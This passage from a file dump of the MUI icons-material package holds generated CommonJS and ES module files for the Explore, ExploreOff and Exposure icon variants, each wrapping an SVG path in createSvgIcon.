    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10.9c-.61 0-1.1.49-1.1 1.1s.49 1.1 1.1 1.1 1.1-.49 1.1-1.1-.49-1.1-1.1-1.1M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2.19 12.19L6 18l3.81-8.19L18 6z\"\n}), 'Explore');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.19 14.19-1.41-1.41-1.56-1.56L11 11 9.81 9.81 4.93 4.93 2.27 2.27 1 3.54l2.78 2.78c-.11.16-.21.32-.31.48-.04.07-.09.14-.13.21-.09.15-.17.31-.25.47-.05.1-.1.21-.16.32-.06.14-.13.28-.19.43-.1.24-.19.48-.27.73l-.09.3c-.05.2-.1.39-.14.59-.02.11-.04.22-.07.33-.04.2-.07.4-.09.61-.01.1-.03.2-.03.3-.03.29-.05.6-.05.91 0 5.52 4.48 10 10 10 .31 0 .62-.02.92-.05l.3-.03c.2-.02.41-.06.61-.09.11-.02.22-.04.33-.07.2-.04.39-.09.58-.15.1-.03.2-.05.3-.09.25-.08.49-.17.73-.27.15-.06.29-.13.43-.19.11-.05.22-.1.33-.16.16-.08.31-.16.46-.25.07-.04.14-.09.21-.13.16-.1.32-.2.48-.31L20.46 23l1.27-1.27-2.66-2.66zM6 18l3-6.46L12.46 15zm16-6c0 .31-.02.62-.05.92l-.03.3c-.02.2-.06.41-.09.61-.02.11-.04.22-.07.33-.04.2-.09.39-.15.58-.03.1-.05.21-.09.31-.08.25-.17.49-.27.73-.06.15-.13.29-.19.43-.05.11-.1.22-.16.33-.08.16-.16.31-.25.46-.04.07-.09.14-.13.21-.1.16-.2.32-.31.48L15 12.46 18 6l-6.46 3-5.22-5.22c.16-.11.32-.21.48-.31.07-.04.14-.09.21-.13.15-.09.31-.17.46-.25.11-.05.22-.1.33-.16.14-.06.28-.13.43-.19.24-.1.48-.19.73-.27l.31-.09c.19-.05.38-.11.58-.15.11-.02.22-.04.33-.07.2-.04.4-.07.61-.09.1-.01.2-.03.3-.03.29-.02.6-.04.91-.04 5.52 0 10 4.48 10 10\"\n}), 'ExploreOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.19 14.19-1.41-1.41-1.56-1.56L11 11 9.81 9.81 4.93 4.93 2.27 2.27 1 3.54l2.78 2.78c-.11.16-.21.32-.31.48-.04.07-.09.14-.13.21-.09.15-.17.31-.25.47-.05.1-.1.21-.16.32-.06.14-.13.28-.19.43-.1.24-.19.48-.27.73l-.09.3c-.05.2-.1.39-.14.59-.02.11-.04.22-.07.33-.04.2-.07.4-.09.61-.01.1-.03.2-.03.3-.03.29-.05.6-.05.91 0 5.52 4.48 10 10 10 .31 0 .62-.02.92-.05l.3-.03c.2-.02.41-.06.61-.09.11-.02.22-.04.33-.07.2-.04.39-.09.58-.15.1-.03.2-.05.3-.09.25-.08.49-.17.73-.27.15-.06.29-.13.43-.19.11-.05.22-.1.33-.16.16-.08.31-.16.46-.25.07-.04.14-.09.21-.13.16-.1.32-.2.48-.31L20.46 23l1.27-1.27-2.66-2.66zM6 18l3-6.46L12.46 15zm16-6c0 .31-.02.62-.05.92l-.03.3c-.02.2-.06.41-.09.61-.02.11-.04.22-.07.33-.04.2-.09.39-.15.58-.03.1-.05.21-.09.31-.08.25-.17.49-.27.73-.06.15-.13.29-.19.43-.05.11-.1.22-.16.33-.08.16-.16.31-.25.46-.04.07-.09.14-.13.21-.1.16-.2.32-.31.48L15 12.46 18 6l-6.46 3-5.22-5.22c.16-.11.32-.21.48-.31.07-.04.14-.09.21-.13.15-.09.31-.17.46-.25.11-.05.22-.1.33-.16.14-.06.28-.13.43-.19.24-.1.48-.19.73-.27l.31-.09c.19-.05.38-.11.58-.15.11-.02.22-.04.33-.07.2-.04.4-.07.61-.09.1-.01.2-.03.3-.03.29-.02.6-.04.91-.04 5.52 0 10 4.48 10 10\"\n}), 'ExploreOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.06l1.46 1.46C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.46 1.46C9.14 4.41 10.52 4 12 4m2.91 8.08L17.5 6.5l-5.58 2.59zM2.1 4.93l1.56 1.56C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l1.56 1.56 1.41-1.41L3.51 3.51zm3.02 3.01 3.98 3.98-2.6 5.58 5.58-2.59 3.98 3.98c-1.2.7-2.58 1.11-4.06 1.11-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06\"\n}), 'ExploreOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.06l1.46 1.46C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.46 1.46C9.14 4.41 10.52 4 12 4m2.91 8.08L17.5 6.5l-5.58 2.59zM2.1 4.93l1.56 1.56C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l1.56 1.56 1.41-1.41L3.51 3.51zm3.02 3.01 3.98 3.98-2.6 5.58 5.58-2.59 3.98 3.98c-1.2.7-2.58 1.11-4.06 1.11-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06\"\n}), 'ExploreOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 6-2.91 6.26 5.25 5.25C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l5.25 5.25zM2.81 5.64l.85.85c-1.37 2.07-2 4.68-1.48 7.45.75 3.95 3.92 7.13 7.88 7.88 2.77.52 5.38-.1 7.45-1.48l.85.85c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.22 4.22a.996.996 0 0 0-1.41 0c-.39.39-.39 1.03 0 1.42m6.1 6.1 3.35 3.35L6 18z\"\n}), 'ExploreOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 6-2.91 6.26 5.25 5.25C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l5.25 5.25zM2.81 5.64l.85.85c-1.37 2.07-2 4.68-1.48 7.45.75 3.95 3.92 7.13 7.88 7.88 2.77.52 5.38-.1 7.45-1.48l.85.85c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.22 4.22a.996.996 0 0 0-1.41 0c-.39.39-.39 1.03 0 1.42m6.1 6.1 3.35 3.35L6 18z\"\n}), 'ExploreOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 6-2.91 6.26 5.25 5.25C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l5.25 5.25zM2.1 4.93l1.56 1.56C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l1.56 1.56 1.41-1.41L3.51 3.51zm6.81 6.81 3.35 3.35L6 18z\"\n}), 'ExploreOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 6-2.91 6.26 5.25 5.25C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l5.25 5.25zM2.1 4.93l1.56 1.56C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l1.56 1.56 1.41-1.41L3.51 3.51zm6.81 6.81 3.35 3.35L6 18z\"\n}), 'ExploreOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c1.48 0 2.86-.41 4.06-1.12l-3.98-3.98-5.58 2.6 2.59-5.58-3.97-3.98C4.41 9.14 4 10.52 4 12c0 4.41 3.59 8 8 8m0-16c-1.48 0-2.86.41-4.06 1.12l3.98 3.98 5.58-2.6-2.59 5.58 3.98 3.98c.7-1.2 1.11-2.58 1.11-4.06 0-4.41-3.59-8-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.5 6.5-5.58 2.59 2.99 2.99zM2.1 4.93l1.56 1.56C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l1.56 1.56 1.41-1.41L3.51 3.51zm3.02 3.01 3.98 3.98-2.6 5.58 5.58-2.59 3.98 3.98c-1.2.7-2.58 1.11-4.06 1.11-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06M12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.06l1.46 1.46C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.46 1.46C9.14 4.41 10.52 4 12 4\"\n}, \"1\")], 'ExploreOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c1.48 0 2.86-.41 4.06-1.12l-3.98-3.98-5.58 2.6 2.59-5.58-3.97-3.98C4.41 9.14 4 10.52 4 12c0 4.41 3.59 8 8 8m0-16c-1.48 0-2.86.41-4.06 1.12l3.98 3.98 5.58-2.6-2.59 5.58 3.98 3.98c.7-1.2 1.11-2.58 1.11-4.06 0-4.41-3.59-8-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.5 6.5-5.58 2.59 2.99 2.99zM2.1 4.93l1.56 1.56C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l1.56 1.56 1.41-1.41L3.51 3.51zm3.02 3.01 3.98 3.98-2.6 5.58 5.58-2.59 3.98 3.98c-1.2.7-2.58 1.11-4.06 1.11-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06M12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.06l1.46 1.46C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.46 1.46C9.14 4.41 10.52 4 12 4\"\n}, \"1\")], 'ExploreOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-5.5-2.5 7.51-3.49L17.5 6.5 9.99 9.99zm5.5-6.6c.61 0 1.1.49 1.1 1.1s-.49 1.1-1.1 1.1-1.1-.49-1.1-1.1.49-1.1 1.1-1.1\"\n}), 'ExploreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-5.5-2.5 7.51-3.49L17.5 6.5 9.99 9.99zm5.5-6.6c.61 0 1.1.49 1.1 1.1s-.49 1.1-1.1 1.1-1.1-.49-1.1-1.1.49-1.1 1.1-1.1\"\n}), 'ExploreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10.9c-.61 0-1.1.49-1.1 1.1s.49 1.1 1.1 1.1 1.1-.49 1.1-1.1-.49-1.1-1.1-1.1M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2.19 12.19L6 18l3.81-8.19L18 6z\"\n}), 'ExploreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10.9c-.61 0-1.1.49-1.1 1.1s.49 1.1 1.1 1.1 1.1-.49 1.1-1.1-.49-1.1-1.1-1.1M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2.19 12.19L6 18l3.81-8.19L18 6z\"\n}), 'ExploreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10.9c-.61 0-1.1.49-1.1 1.1s.49 1.1 1.1 1.1 1.1-.49 1.1-1.1-.49-1.1-1.1-1.1M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2.19 12.19L6 18l3.81-8.19L18 6z\"\n}), 'ExploreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10.9c-.61 0-1.1.49-1.1 1.1s.49 1.1 1.1 1.1 1.1-.49 1.1-1.1-.49-1.1-1.1-1.1M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2.19 12.19L6 18l3.81-8.19L18 6z\"\n}), 'ExploreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m2.01 10.01L6.5 17.5l3.49-7.51L17.5 6.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-5.5-2.5 7.51-3.49L17.5 6.5 9.99 9.99zm5.5-6.6c.61 0 1.1.49 1.1 1.1s-.49 1.1-1.1 1.1-1.1-.49-1.1-1.1.49-1.1 1.1-1.1\"\n}, \"1\")], 'ExploreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExploreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m2.01 10.01L6.5 17.5l3.49-7.51L17.5 6.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-5.5-2.5 7.51-3.49L17.5 6.5 9.99 9.99zm5.5-6.6c.61 0 1.1.49 1.1 1.1s-.49 1.1-1.1 1.1-1.1-.49-1.1-1.1.49-1.1 1.1-1.1\"\n}, \"1\")], 'ExploreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Exposure.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6 7h5v1.5H6zm13 12H5L19 5zm-4.5-3v2H16v-2h2v-1.5h-2v-2h-1.5v2h-2V16z\"\n}), 'Exposure');"
  },
  {
    "path": "packages/mui-icons-material/lib/Exposure.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6 7h5v1.5H6zm13 12H5L19 5zm-4.5-3v2H16v-2h2v-1.5h-2v-2h-1.5v2h-2V16z\"\n}), 'Exposure');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExposureOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1.41 2L5 17.59V5zM6.41 19 19 6.41V19zM6 7h5v1.5H6zm10 5.5h-1.5v2h-2V16h2v2H16v-2h2v-1.5h-2z\"\n}), 'ExposureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExposureOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1.41 2L5 17.59V5zM6.41 19 19 6.41V19zM6 7h5v1.5H6zm10 5.5h-1.5v2h-2V16h2v2H16v-2h2v-1.5h-2z\"\n}), 'ExposureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExposureRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.75 7h3.5c.41 0 .75.34.75.75s-.34.75-.75.75h-3.5c-.41 0-.75-.34-.75-.75S6.34 7 6.75 7M18 19H5L19 5v13c0 .55-.45 1-1 1m-3.5-3v1.25c0 .41.34.75.75.75s.75-.34.75-.75V16h1.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H16v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.25h-1.25c-.41 0-.75.34-.75.75s.34.75.75.75z\"\n}), 'ExposureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExposureRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.75 7h3.5c.41 0 .75.34.75.75s-.34.75-.75.75h-3.5c-.41 0-.75-.34-.75-.75S6.34 7 6.75 7M18 19H5L19 5v13c0 .55-.45 1-1 1m-3.5-3v1.25c0 .41.34.75.75.75s.75-.34.75-.75V16h1.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H16v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.25h-1.25c-.41 0-.75.34-.75.75s.34.75.75.75z\"\n}), 'ExposureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExposureSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM6 7h5v1.5H6zm13 12H5L19 5zm-4.5-3v2H16v-2h2v-1.5h-2v-2h-1.5v2h-2V16z\"\n}), 'ExposureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExposureSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM6 7h5v1.5H6zm13 12H5L19 5zm-4.5-3v2H16v-2h2v-1.5h-2v-2h-1.5v2h-2V16z\"\n}), 'ExposureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExposureTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V5L5 19zm-4.5-4.5v-2H16v2h2V16h-2v2h-1.5v-2h-2v-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6 7h5v1.5H6zm13 12H5L19 5zm-4.5-3v2H16v-2h2v-1.5h-2v-2h-1.5v2h-2V16z\"\n}, \"1\")], 'ExposureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExposureTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V5L5 19zm-4.5-4.5v-2H16v2h2V16h-2v2h-1.5v-2h-2v-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6 7h5v1.5H6zm13 12H5L19 5zm-4.5-3v2H16v-2h2v-1.5h-2v-2h-1.5v2h-2V16z\"\n}, \"1\")], 'ExposureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Extension.js",
